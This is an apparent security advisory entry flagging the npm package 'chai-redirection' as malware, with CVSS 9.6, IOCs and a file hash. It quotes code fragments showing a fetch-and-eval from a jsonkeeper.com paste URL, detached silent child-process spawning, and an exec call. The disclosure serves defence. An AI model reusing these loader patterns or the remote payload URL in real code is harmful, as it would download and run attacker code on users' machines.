VDB
GCVE-110-OSM-2026-7223
GCVE-110-OSM-2026-7223
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity.
ENTRY
index.js (main: index.js)
DESTINATION
- custom-c2: jsonkeeper.com (primary, decoded) in lib/caller.js
EXFIL
- Fetch and Eval/Exec in lib/caller.js: "axios.get( 'https://www.jsonkeeper.com/b/PC5CK' ); if (!res || !res.data) return..."
- Payload Download from Paste Service in lib/caller.js: "jsonkeeper.com"
- Network Request in lib/caller.js: "axios.get("
OBFUSCATION
- Decoded Base64 Content in lib/const.js
- recovered 1 urls, 1 domains from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Stealth Background Process Spawning in index.js: "spawn(process.execPath, [script], { detached: true, stdio: 'ignore' }"
- Shell Command Execution in index.js: "require('child_process')"
- Silent Process Execution in index.js: "stdio: 'ignore'"
- Detached Child Process Payload in index.js: "spawn(process.execPath, [script], { detached: true"
- Dynamic Code Execution in lib/redaction.js: "exec(str)"
- Brand New Package
PAYLOAD FILES
lib/caller.js (+ lib/const.js, index.js)
INDICATORS (IOCs)
- domains: blockterralab.com
- emails: austen.lenihan@blockterralab.com
- urls: https://jsonkeeper.com/b/4NAKK
- payloadFileHash: 22f2afbfcf4ec7813b14e67c51fb9021c3845c39d3cf82150bec651b693ee50b
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | chai-redirection | all (affected) | — |
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